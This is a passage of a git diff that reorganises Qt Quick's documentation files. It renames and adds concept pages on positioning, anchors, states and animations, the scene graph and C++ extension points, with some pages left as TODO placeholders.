qtquick-anchorlayout.html -\contentspage QML Features -\title Layouts with Anchors +\page qtquick-concepts-positioning-anchors.html +\title Positioning with Anchors \brief placing items with anchor properties \target anchor-layout In addition to the more traditional \l Grid, \l Row, and \l Column, -QML also provides a way to layout items using the concept of \e anchors. +Qt Quick also provides a way to layout items using the concept of \e anchors. Each item can be thought of as having a set of 7 invisible "anchor lines": \l {Item::anchors.left}{left}, \l {Item::anchors.horizontalCenter}{horizontalCenter}, \l {Item::anchors.right}{right}, \l {Item::anchors.top}{top}, @@ -45,7 +44,7 @@ and \l {Item::anchors.bottom}{bottom}. The baseline (not pictured above) corresponds to the imaginary line on which text would sit. For items with no text it is the same as \e top. -The QML anchoring system allows you to define relationships between the anchor lines of different items. For example, you can write: +The Qt Quick anchoring system allows you to define relationships between the anchor lines of different items. For example, you can write: \code Rectangle { id: rect1; ... } diff --git a/src/quick/doc/src/positioners.qdoc b/src/quick/doc/src/concepts/positioning-layouts.qdoc index f423216e15..2cf4066525 100644 --- a/src/quick/doc/src/positioners.qdoc +++ b/src/quick/doc/src/concepts/positioning-layouts.qdoc @@ -27,6 +27,7 @@ /*! \group qtquick-positioners +\page qtquick-concepts-positioning-layouts.html \ingroup qml-features \title Item Layouts diff --git a/src/quick/doc/src/righttoleft.qdoc b/src/quick/doc/src/concepts/positioning-righttoleft.qdoc index d24d18d0c2..09488a064c 100644 --- a/src/quick/doc/src/righttoleft.qdoc +++ b/src/quick/doc/src/concepts/positioning-righttoleft.qdoc @@ -26,7 +26,7 @@ ****************************************************************************/ /*! -\page qtquick-righttoleft.html +\page qtquick-concepts-positioning-righttoleft.html \ingroup qml-features \title Right-to-left User Interfaces \brief switching text flow and layout @@ -91,7 +91,7 @@ views that takes the mirroring into account can be read from the \c effectiveLay The attached property \l LayoutMirroring is provided as a convenience for easily implementing right-to-left support for existing left-to-right Qt Quick applications. It mirrors the behavior of \l {anchor-layout} {Item anchors}, the layout direction of \l{Composing User Interfaces with QML#Positioners}{positioners} and -\l{Models and Views}{model views}, and the explicit text alignment of QML text elements. +\l{qtquick-concepts-data-modelview.html}{model views}, and the explicit text alignment of QML text elements. You can enable layout mirroring for a particular \l Item: diff --git a/src/quick/doc/src/concepts/positioning.qdoc b/src/quick/doc/src/concepts/positioning.qdoc new file mode 100644 index 0000000000..a02ef5574d --- /dev/null +++ b/src/quick/doc/src/concepts/positioning.qdoc @@ -0,0 +1,142 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick-concepts-positioning.html +\title Concepts - Positioning +\brief Description of the concept of visual object positioning in Qt Quick + +This page describes the concept of positioning visual user-interface elements +and the various elements which Qt Quick provides to support precise +positioning, and the ways in which positioning in Qt Quick can be automated. + +\section1 Manual Positioning + +In any user-interface, the visual elements exist at a particular location in +the screen coordinates at any instant in time. While fluidly animated and +dynamic user-interfaces are a major focus of Qt Quick, statically-positioned +user interfaces are still a viable option. What's more, if the position of +those elements does not change, it can often be more performant to specify +the position manually than to use the more dynamic positioning methods +documented in proceeding sections. + +In Qt Quick, every visual object is positioned within the +\l{qtquick-concepts-visual-coordinates.html}{coordinate system} +provided by the Qt Quick visual canvas. As described in that document, the +x and y coordinates of a visual object are relative to those of its visual +parent, with the top-left corner have the value [0, 0]. + +Thus, the following example will display three rectangles positioned manually: + +\table + \header + \li Example Code + \li Resultant Layout + + \row + \li + \qml + import QtQuick 2.0 + + Rectangle { + id: r1 + x: 0 + y: 0 + width: 200 + height: 200 + + Rectangle { + id: r2 + x: 0 + y: 100 + width: 100 + height: 100 + } + + Rectangle { + id: r3 + x: 100 + y: 100 + width: 50 + height: 100 + } + } + \endqml + \li + \image manual-layout.png +\endtable + +\section1 Positioning With Bindings + +The position and dimensions of a visual object can also be set through property +bindings. This has the advantage that the values will automatically be updated +as the dependencies of the bindings change. For example, the width of one +Rectangle might depend on the width of the Rectangle next to it. + +While bindings provide a very flexible and intuitive way of creating dynamic +layouts, it should be noted that there is some performance cost associated with +them, and where possible, pristine Anchor layouts should be preferred. + +\section1 Anchors + +A visual object can be thought of as having various anchor-points (or more +correctly, anchor-lines). Other items can be anchored to those points, which +means that as any object changes, the other objects which are anchored to it +will adjust automatically to maintain the anchoring. + +Qt Quick provides anchors as a top-level concept. See the documentation about +\l{qtquick-concepts-positioning-anchors.html}{positioning with anchors} +for in-depth information on the topic. + +It is important to note that anchor-based layouts are generally far more +performant than binding-based layouts, if pristine. A "pristine" anchor layout +is one which uses only anchors (with object nesting) to determine the +positioning, whereas a "contaminated" anchor layout is one which uses both +anchoring and bindings (either on position-related [x,y] properties or on +dimension-related [width,height] properties) to determine the position. + +\section1 Pre-defined Layouts + +There are many well-known layouts which work well in user-interfaces, such as +grids and lists, rows and columns. Qt Quick supports these sort of pre-defined +layouts, which can often be more performant to draw than anchor or +binding-based layouts. See the documentation on +\l{qtquick-concepts-positioning-layouts.html}{layout elements} for more +information about utilizing pre-defined layouts. + +\section1 Right-To-Left Support + +The directionality of the written form of a language often has a great impact +on how the visual elements of a user-interface should be positioned. Qt Quick +supports right-to-left positioning of elements through the predefined-layouts +as well as right-to-left text layouts. + +Please see the documentation about +\l{qtquick-concepts-positioning-righttoleft.html} +{right-to-left support in Qt Quick} for in-depth information on the topic. + +*/ diff --git a/src/quick/doc/src/animation.qdoc b/src/quick/doc/src/concepts/statesanimations-animations.qdoc index f406948040..37975f5bae 100644 --- a/src/quick/doc/src/animation.qdoc +++ b/src/quick/doc/src/concepts/statesanimations-animations.qdoc @@ -26,8 +26,9 @@ ****************************************************************************/ /*! -\group qtquick-animation-define -\title Animation and Transitions +\group qtquick-transitions-animations +\page qtquick-concepts-statesanimations-animations.html +\title Animation and Transitions In Qt Quick \brief the animation system in Qt Quick \section1 Animation and Transitions Elements @@ -45,8 +46,7 @@ \endlist Elements that animate properties based on data types -\annotatedlist qtquick-property-animation - +\annotatedlist qtquick-animation-properties \list \li \l {PropertyAnimation} - Animates property changes \li \l {NumberAnimation} - Animates properties of type qreal @@ -94,7 +94,7 @@ information about the different animation properties. \keyword qml-transition-animations \section2 Transitions during State Changes -\l{States}{States} are property configurations where a property may have different values to reflect different states. State changes introduce +\l{State}{States} are property configurations where a property may have different values to reflect different states. State changes introduce abrupt property changes; animations smooth transitions to produce visually appealing state changes. @@ -173,7 +173,7 @@ demonstration of creating and combining multiple animations in QML. There are different methods to control animations. \section2 Animation Playback -All \l{qml-animation-elements}{animation elements} inherit from the \l Animation element. It is not +All animation types inherit from the \l Animation element. It is not possible to create \l Animation objects; instead, this element provides the essential properties and methods for animation elements. Animation elements have \c{start()}, \c{stop()}, \c{resume()}, \c{pause()}, \c {restart()}, and diff --git a/src/quick/doc/src/behaviors-and-states.qdoc b/src/quick/doc/src/concepts/statesanimations-behaviors.qdoc index ab2e1f7460..a41b50f015 100644 --- a/src/quick/doc/src/behaviors-and-states.qdoc +++ b/src/quick/doc/src/concepts/statesanimations-behaviors.qdoc @@ -26,8 +26,8 @@ ****************************************************************************/ /*! -\page qtquick-behaviors-states.html tutorial -\title Using QML Behaviors with States +\page qtquick-qmltypereference-behaviors.html +\title Using Qt Quick Behaviors with States \brief animating property changes with behaviors \section1 Using Behaviors with States diff --git a/src/quick/doc/src/states.qdoc b/src/quick/doc/src/concepts/statesanimations-states.qdoc index ac7c45bb3b..d20e7cc3f2 100644 --- a/src/quick/doc/src/states.qdoc +++ b/src/quick/doc/src/concepts/statesanimations-states.qdoc @@ -26,7 +26,8 @@ ****************************************************************************/ /*! -\group qtquick-states +\group qtquick--states +\page qtquick-concepts-statesanimations-states.html \title Qt Quick States \brief Creating and setting states @@ -73,7 +74,8 @@ model the states using the \c State element and the color and flag configurations with the \c PropertyChanges element. \snippet qml/states.qml signal states The \l PropertyChanges element will change the values of object properties. -Objects are referenced through their \l {qml-id}{id}. Objects outside +Objects are referenced through their +\l{qtqml-syntax-objectattributes.html#the-id-assignment}{id}. Objects outside the component are also referenced using the \c id property, exemplified by the property change to the external \c flag object. @@ -115,15 +117,16 @@ The \c bell component will change to the \c RINGING state whenever the State changes induce abrupt value changes. The \l Transition element allow smoother changes during state changes. In transitions, animations and interpolation behaviors are definable. The -\l {QML Animation and Transitions}{Animation and Transitions} article has more -information about creating state animations. +\l{qtquick-concepts-statesanimations-animations.html} +{Animation and Transitions} article has more information about creating state +animations. The \l {declarative/animation/states}{States and Transitions example} demonstrates how to declare a basic set of states and apply animated transitions between them. -\l{Using QML Behaviors with States} explains a common problem when using Behaviors -to animate state changes. +\l{qtquick-qmltypereference-behaviors.html}{Using QML Behaviors with States} +explains a common problem when using Behaviors to animate state changes. \section1 State Fast Forwarding diff --git a/src/quick/doc/src/concepts/statesanimations.qdoc b/src/quick/doc/src/concepts/statesanimations.qdoc new file mode 100644 index 0000000000..090b9ac816 --- /dev/null +++ b/src/quick/doc/src/concepts/statesanimations.qdoc @@ -0,0 +1,114 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick-concepts-statesanimations.html +\title Concepts - States And Animations +\brief Description of the concepts of states, transitions and animations in Qt Quick + +This page describes the concept of states, state transitions, and property +animations. It details which concepts are important and why, and how those +concepts interrelate. It also provides links to in-depth detail about the QML +types that Qt Quick provides to implement those concepts. + +\section1 States + +The state of a particular visual item is the set of information which describes +how and where the individual component parts of the visual item are displayed +within it, and all the data associated with that state. Most visual items in a +user-interface will have a limited number of states, each with well-defined +properties. + +For example, an element in a list may be either selected or not, and if +selected, it may either be the currently active single selection or it may be +part of a selection group. + +Each of those states may have certain associated visual appearance (neutral, +highlighted, expanded, and so forth). + +Qt Quick provides a \c{State} element with properties which define its semantics +and can be used to trigger behavior or animations. See the documentation about +\l{qtquick-concepts-statesanimations-states.html}{Qt Quick States} for more +information. + +\section1 Transitions + +When a visual item transitions from one state to another, the appearance of +that item will change. A transition is an "edge" between two states. It may +trigger other events to occur, as other parts of the application may have +behavior which is triggered when a certain state is entered or left. + +Qt Quick provides the \c{Transition} element which has properties which define +what will occur when the application changes from one state to another. See +the documentation on +\l{qtquick-concepts-statesanimations-animations.html#transitions-during-state-changes} +{Transitions during State Changes} for more information about transitions. + +\section1 Animations + +When transitioning between states, a fluid animation can be used to aid the +user during the transition. Abrupt and unexpected changes to the visual +canvas result in a suboptimal user-experience and should be avoided. + +If an element in a list becomes selected, the color change (from neutral to +highlighted) can be animated. If the position of the element in the list is +changed, it can be moved in an fluidly animated fashion so that the eye of the +user can track the change. + +These types of animations are supported in Qt Quick through various animation +and transition elements. See the documentation on +\l{qtquick-concepts-statesanimations-animations.html} +{Animations and Transitions In Qt Quick} for information about these elements +and how to use them. + +Animations are not only related to states and transitions between states; for +example, an animation might be triggered by other events, which are not +associated with a distinct state. It is often beneficial to always animate +changes to certain properties of visual items, regardless of the cause of the +change (for example, opacity effects). + +This type of animation is supported in Qt Quick with the \c{Behavior} element +through the \tt{"Behavior on <Property>"} syntax. Please see the documentation +about +\l{qtquick-concepts-statesanimations-animations.html#default-animation-as-behaviors} +{default property animation behaviors} for more information about the Behavior +element and how to use it. + +It is important to note, however, that using default property animations +(using Behavior elements) as well as state-transition animations can sometimes +results in undefined behavior occurring. Please see the documentation about +\l{qtquick-qmltypereference-behaviors.html} +{using Qt Quick Behaviors with States} for more information about this topic. + +\section1 Animated Sprites + +The concept of animated sprites is separate to the concept of animations as +used elsewhere on this page. If you want to create or use an animated image +or sprite, please see the documentation about +\l{qtquick-concepts-effects-sprites.html}{sprite animations}. + +*/ diff --git a/src/quick/doc/src/concepts/topic.qdoc b/src/quick/doc/src/concepts/topic.qdoc new file mode 100644 index 0000000000..9fd960850c --- /dev/null +++ b/src/quick/doc/src/concepts/topic.qdoc @@ -0,0 +1,347 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick-concepts-topic.html +\title Important Concepts In Qt Quick +\brief Overview of important concepts in Qt Quick + +Qt Quick provides everything needed to create a rich application with a fluid +and dynamic user interface. It is based around behavior declaration rather +than imperative programming, and defines a visual canvas with its own +coordinate system and drawing implementation. There are many ways to position +user-interface elements on the screen, and animation and transition effects are +a first-class concept in Qt Quick. + +\section1 The Visual Canvas + +The visual canvas provided by the Qt Quick is a two dimensional canvas with +z-ordering. + +\section2 Coordinate System + +The top-left pixel in the Qt Quick coordinate system is the [0, 0] pixel. +The coordinate system of a child item is relative to its visual parent item. +See the documentation on the +\l{qtquick-concepts-visual-coordinates.html}{Coordinate System} for +in-depth information about the coordinate system utilized by Qt Quick. + +\section2 Visual Parent + +There are two separate kinds of parenting in a QML application which uses +Qt Quick. The first kind is the ownership-parent (also known as the QObject +parent) which determines object lifetime semantics. The second kind is the +visual-parent which determines where on the canvas an item is drawn, and also +certain properties (for example, opacity applies to visual children). + +In almost all cases, the visual-parent is identical to the ownership-parent. +See the documentation about the \l{qtquick-concepts-visual-parent.html} +{Visual Parent}for more in-depth information on the topic. + +\section2 Scene Graph + +Modern computer systems and devices use OpenGL to draw graphics. Qt Quick +requires OpenGL and it is used to display applications developed with +Qt Quick in QML. In particular, Qt Quick defines a scene graph which is then +rendered. See the documentation about the +\l{qtquick-concepts-visual-scenegraph.html}{Scene Graph} for in-depth +information about the concept of a scene graph and why it is beneficial, and +about the scene graph implementation provided by Qt Quick. + +\section1 Positioning + +Visual items in QML can be positioned in a variety of ways. The most important +positioning-related concept is that of anchoring, a form of relative +positioning where items can be anchored (or attached) to each other at certain +boundaries. Other positioning concepts include absolute positioning, +positioning with coordinate bindings, and layouts. + +\section1 Visual Objects + +Most user-interfaces include some visual aspect. While multimodal interfaces +are extremely interesting and can be very engaging and interactive (using, +for example, haptic feedback and sounds to notify the user of changes in the +state of an application), visual objects in a user-interface are able to convey +a huge amount of information to the user at a glance. + +See the \l{qtquick-qmltypereference.html}{Qt Quick QML type reference} for the +complete list of visual object types provided by Qt Quick. + +\section2 Manual Positioning + +Items can be positioned manually. If the user-interface is going to be +static, manual positioning provides the most efficient form of positioning. +See the documentation about +\l{qtquick-concepts-positioning.html#manual-positioning} +{Absolute Positioning} for in-depth information about this form of positioning. + +\section2 Positioning With Bindings + +Items may also be positioned by assigning binding expressions to the properties +associated with their location in the visual canvas. This type of positioning +is the most highly dynamic, however some performance cost is associated with +positioning items in this manner. See the documentation on +\l{qtquick-concepts-positioning.html#positioning-with-bindings} +{positioning with bindings} for in-depth information about this form of +positioning. + +\section2 Anchors + +Anchors allows an item to be placed either adjacent to or inside of another, +by attaching one or more of the item's anchor-points (boundaries) to an +anchor-point of the other. These anchors will remain even if the dimensions +or location of one of the items changes, allowing for highly dynamic +user-interfaces. For in-depth information about anchoring, see the +documentation about \l{qtquick-concepts-positioning-anchors.html} +{positioning with anchors} + +\section2 Layouts + +Qt Quick also provides some built-in layout items. For many use cases, the +best layout to use is a simple grid, row, or column, and Qt Quick provides +items which will layout children in these formations in the most efficient +manner possible. See the documentation about +\l{qtquick-concepts-positioning-layouts.html}{layout} for in-depth information +on the topic. + +\section2 Right-To-Left Support + +The directionality of the written form of a language often has a great impact +on how the visual elements of a user-interface should be positioned. Qt Quick +supports right-to-left positioning of elements through the predefined-layouts +as well as right-to-left text layouts. + +Please see the documentation about +\l{qtquick-concepts-positioning-righttoleft.html} +{right-to-left support in Qt Quick} for in-depth information on the topic. + +\section1 User Input + +Being able to respond to user-input is a fundamental part of user-interface +design. Depending on the use-case that an application solves, and the +form-factor of the device that the application runs on, the best way +to receive user-input may be different. + +\section2 Touch + +Allowing users to physically touch a screen to interact with an application is +a popular user-interface paradigm on portable devices like smartphones and +tablets. + +Qt Quick was designed specifically with touch-driven user-interfaces in mind, +and thus touch events are supported in various visual object types, from +\l{Flickable} lists to the generic \l{MultiPointTouchArea} type, as well as +in the \l{MouseArea} type (which will be documented thoroughly in a proceeding +section). + +\section2 Motion Gestures + +Detecting gestures with an accelerometer, or through camera-based gesture +recognition, can allow users to interact with an application without requiring +their full and undevided attention. It can also provide a more interactive +and engaging experience. + +Qt Quick itself does not offer first-class support for motion gestures, however +another QML add-on module which provides support for gestures, which uses +Qt Quick and integrates with Qt Quick's visual canvas does exist. See the +Qt Sensors module documentation for more information on the topic. + +\section2 Keyboard + +Supporting input from a keyboard is a vital component of the user-interface of +many applications. + +XXX TODO: generic keypress event handling documentation? + +Qt Quick also provides visual object types which automatically receive keyboard +events and key-presses, and displays the appropriate text. Please see the +documentation about \l{qtquick-concepts-input-text.html}{text input} for +in-depth information on the topic. + +\section2 Mouse + +The computer mouse is still a very important vector for user-input. Detecting +and reacting to clicks and presses according to their position is a fundamental +concept in user-interface design. + +Qt Quick provides the MouseArea visual object type which automatically receives +mouse events (including clicks and wheel events) which allows developers to +create custom user-interface objects to handle mouse input. Please see the +documentation about \l{qtquick-concepts-input-mouseevents.html} +{mouse events in Qt Quick} for more information on the topic. + +\section2 Focus + +Most user-interfaces have multiple visual objects, but usually only one object +has focus (that is, receives key-press events) at any time. Qt Quick has +support for complex focus specification. See the documentation about +\l{qtquick-concepts-input-focus.html}{keyboard focus in Qt Quick} for more +information on this topic. + +\section1 Event Interceptors + +In a highly dynamic user-interface, the application developer will often wish +to intercept some events (such as property assignments) so that the change can +be animated. Interceptors are a first-class concept in Qt Quick, and +application developers can dynamically intercept property assignments and +signal emissions, and define dynamic bindings. + +\section2 Animating Property Assignments + +When the location of a visual item changes, it is often suboptimal to simply +change the location instantaneously. It may be better to animate the update +to allow the user's eye to follow the change, thus providing a seamless +user-experience. See the documentation on +\l{qtquick-concepts-interceptors.html#animating-property-assignments} +{Animating Property Assignments} for more information about property assignment +interception. + +\section2 Dynamic Bindings + +Assigning binding expressions to properties is a fundamental concept of QML, +and Qt Quick extends upon the idea with dynamic bindings where the target of +the binding can be defined outside of the binding expression itself. See the +\l{qtquick-concepts-interceptors.html#dynamic-bindings}{Dynamic Bindings} page +for more information about this concept. + +\section2 Dynamic Signal Connections + +Just as bindings can be retargeted dynamically in Qt Quick, so too can signal +connections. This allows highly dynamic dispatch to be implemented in a user +interface where different visual items need to handle different events, +depending on the situation, at run-time. See the documentation about +\l{qtquick-concepts-interceptors.html#dynamic-signal-connections} +{Dynamic Signal Connections} for in-depth information. + +\section1 States, Transitions And Animations + +In any modern user-interface, transitioning between states and animating +the user-interface is highly beneficial. These are first-class concepts in +Qt Quick, and are discussed in more detail in the +\l{qtquick-concepts-statesanimations.html}{States, Transitions And Animations} +documentation. + +\section1 Data - Models, Views and Data Storage + +Most applications will have data that needs to be displayed to the user. That +data might come from a variety of sources: network sources, local files, and +databases are all common sources of data. + +\section2 Models and Views + +It is often advantageous to show similar data in a similar manner, within an +application, and this gives rise to the idea of having a model which contains +data, and a view which displays the data. The view will display a delegate +for every datum in the model. + +For information about how the Model/View paradigm is implemented in Qt Quick, +see the page titled \l{qtquick-concepts-data-modelview.html} +{Models and Views in Qt Quick}. + +\section2 Data Storage and Access + +Databases are commonly used to store information in applications. Qt Quick +provides simplified access to relational databases via the +\l{qtquick-concepts-data-localstorage.html}{Qt Quick local storage module}. + +\section1 Graphical Effects and Particles + +Visually appealing user-interfaces are more engaging than lacklustre ones. +That said, the designer must bear in mind that visual effects simply provide +a useful way to subtlely communicate to the user (for example, which visual +item is active, or how focus is being transferred). Over-use of visual +effects can actually detract from the user-experience. + +\section2 Visual Transformation + +Visual objects can be transformed. For example, they can be scaled or rotated. +These sort of transformations can provide hints about focus or selection, and +can provide intuitive hints about what events are occurring in an application. + +For information about visual transformations to visual objects, see the +page titled \l{qtquick-concepts-effects-transformations.html} +{Qt Quick Transformation Types}. + +\section2 Shader Effects + +Shader effects allow the full, raw power of a graphics processing unit to be +utilized directly via vertex and pixel shaders. Using too many shader effects +can result in increased power usage and sometimes slow performance, but if +used sparingly and carefully, a shader can allow complex and visually appealing +effects to be applied to a visual object (for example, ripples in water). + +For information about shader programs and shader effects, see the page +titled \l{qtquick-concepts-effects-shaders.html} +{Qt Quick Shader Effects}. + +\section2 Particles + +A particle system allows explosions, fireworks, smoke, fog and wind effects to +be simulated and displayed to the user. Qt Quick provides a particle system +which allows these sort of complex, 2D simulations to be performed, including +support for environmental effects like gravity and turbulence. +Particles are most commonly used to add subtle and visually appealing effects +to currently selected items in lists or in activity notifiers, and in games. + +For information about particles, see the documentation about the +\l{qtquick-concepts-effects-particles.html}{Qt Quick Particle System}. + +\section2 Sprites + +A sprite is an animated image made up of frames. Sprites are commonly found +in games. Qt Quick provides a visual type to display sprites, as well as a +complex, stochastic, frame-transition controller for more complex applications +which use sprites extensively (such as games). + +For information about sprite animations, see the page titled +\l{qtquick-concepts-effects-sprites.html}{Sprite Animations}. + +\section1 Defining And Using Modular Components + +One of the aims of QML is to allow developers to write modular user-interface +types which may be reused to build complex, interactive applications which +are highly maintainable. Reusable components and dynamic object instantiation +are fundamental building blocks which allow this paradigm to be realised in +Qt Quick. + +\section2 Defining Reusable Components + +Being able to define reusable components is a fundamental feature of the QML +language. Qt Quick extends on this, by providing some types which make the +dynamic construction of reusable components simpler and more efficient. Please +see the documentation on \l{qtquick-concepts-components.html} +{Defining Reusable Components} for more information on the topic. + +\section2 Dynamic Instantiation and Lazy Initialization + +Qt Quick also provides the Loader type which may be used in conjuction with a +Component or a QML document to instantiate objects lazily and on-demand. +Please see the \l{qtquick-performance.html}{performance guide} for more +information on using dynamic instantiation and lazy initialization to improve +application performance. + +*/ diff --git a/src/quick/doc/src/concepts/visual-coordinates.qdoc b/src/quick/doc/src/concepts/visual-coordinates.qdoc new file mode 100644 index 0000000000..aff25980d4 --- /dev/null +++ b/src/quick/doc/src/concepts/visual-coordinates.qdoc @@ -0,0 +1,35 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick-concepts-visual-coordinates.html +\title Concepts - Visual Coordinates in Qt Quick +\brief Description of the concept of visual coordinates in Qt Quick + +XXX TODO - Fill with content. + +*/ diff --git a/src/quick/doc/src/concepts/visual-parent.qdoc b/src/quick/doc/src/concepts/visual-parent.qdoc new file mode 100644 index 0000000000..30f1d18b92 --- /dev/null +++ b/src/quick/doc/src/concepts/visual-parent.qdoc @@ -0,0 +1,35 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick-concepts-visual-parent.html +\title Concepts - Visual Parent in Qt Quick +\brief Description of the concept of visual parent in Qt Quick + +XXX TODO - Fill with content. + +*/ diff --git a/src/quick/doc/src/qmlscenegraph.qdoc b/src/quick/doc/src/concepts/visual-scenegraph.qdoc index 0b87c3a947..e244917a4f 100644 --- a/src/quick/doc/src/qmlscenegraph.qdoc +++ b/src/quick/doc/src/concepts/visual-scenegraph.qdoc @@ -26,8 +26,20 @@ ****************************************************************************/ /*! -\title QML Scene Graph -\page qmlscenegraph.html +\title Qt Quick Scene Graph +\page qtquick-concepts-visual-scenegraph.html + +\section1 What is a Scene Graph? + +When drawing visual objects of a user-interface, it can be beneficial to group +drawing operations which are similar. For example, if a user-interface +includes many similar text boxes, each with a light-blue background, then all +of those text boxes could be painted at the same time, prior to painting any +of the text in each box, as this might be more performant than painting one of +the text boxes, and then painting its text, and then painting the next text +box, and then its text, and so on. + +\section1 The Scene Graph in Qt Quick Qt Quick 2 makes use of a dedicated scene graph based on OpenGL ES 2.0 or OpenGL 2.0 for its rendering. Using a scene graph for graphics diff --git a/src/quick/doc/src/cppextensionpoints.qdoc b/src/quick/doc/src/cppextensionpoints.qdoc new file mode 100644 index 0000000000..953d804b60 --- /dev/null +++ b/src/quick/doc/src/cppextensionpoints.qdoc @@ -0,0 +1,52 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick-cppextensionpoints.html +\title C++ Extension Points Provided By Qt Quick +\brief Description of the C++ extension points provided by the Qt Quick module + +// XXX TODO: should this be a topic page? Are each of the sections below big enough to require their own page? + +Qt Quick provides several extension and integration points for C++ developers. +In particular, it allows C++ developers to create and register custom +QQuickItem-derived types which can be rendered by Qt Quick. It also provides +several scene graph-related classes which allow developers to define their own +rendering primitives. + +\section1 User-Defined QQuickItem-Derived Types + +While the Qt Quick module already provides a rich library of visual item types +for use in a QML application, some developers may wish to define their own +item-derived types in C++ and expose them to the QML type system. + +\section1 Scene Graph-Related Classes + +As an OpenGL-based scene graph, the scene graph in Qt Quick uses nodes which +may be geometries or textures. + +*/ diff --git a/src/quick/doc/src/qmltexthandling.qdoc b/src/quick/doc/src/qmltexthandling.qdoc deleted file mode 100644 index 63f2c40145..0000000000 --- a/src/quick/doc/src/qmltexthandling.qdoc +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-texthandling.html -\title Text Handling and Validators -\brief elements that accept and handle text input - -\tableofcontents - -\section1 Text Elements - -\list -\li \l{Text} -\li \l{TextInput} -\li \l{TextEdit} -\endlist - -\section1 Validators -\list -\li \l{IntValidator} -\li \l{DoubleValidator} -\li \l{RegExpValidator} -\endlist - -\section1 Displaying Text in QML -QML provides several elements to display text onto the screen. The \l Text -element will display formatted text onto the screen, the \l TextEdit element -will place a multiline line edit onto the screen, and the \l TextInput will -place a single editable line field onto the screen. - -To learn more about their specific features and properties, visit their -respective element documentation. - -\section1 Validating Input Text -The \l {Validators}{validator} elements enforce the type and format of -\l TextInput objects. - -\snippet qml/texthandling.qml int validator -The validator elements bind to \c {TextInput}'s \c validator property. - -\snippet qml/texthandling.qml regexp validator -The regular expression in the snippet will only allow the inputted text to be -\c {fruit basket}. - -Note that QML parses JavaScript regular expressions, while Qt's -\l {QRegExp} class' regular expressions are based on Perl regular expressions. - -*/ diff --git a/src/quick/doc/src/elements.qdoc b/src/quick/doc/src/qmltypereference.qdoc index 40533867df..a2cb4df1e1 100644 --- a/src/quick/doc/src/elements.qdoc +++ b/src/quick/doc/src/qmltypereference.qdoc @@ -26,78 +26,95 @@ ****************************************************************************/ /*! -\page qtquick-elements.html -\title Qt Quick Elements -\brief a listing of standard elements in Qt Quick +\page qtquick-qmltypereference.html +\title QML Types Provided By Qt Quick +\brief Description of the QML types provided by the Qt Quick module +This page contains links to documentation for every QML type provided by the +Qt Quick module, organized according to category and purpose. All of the types +are based on the 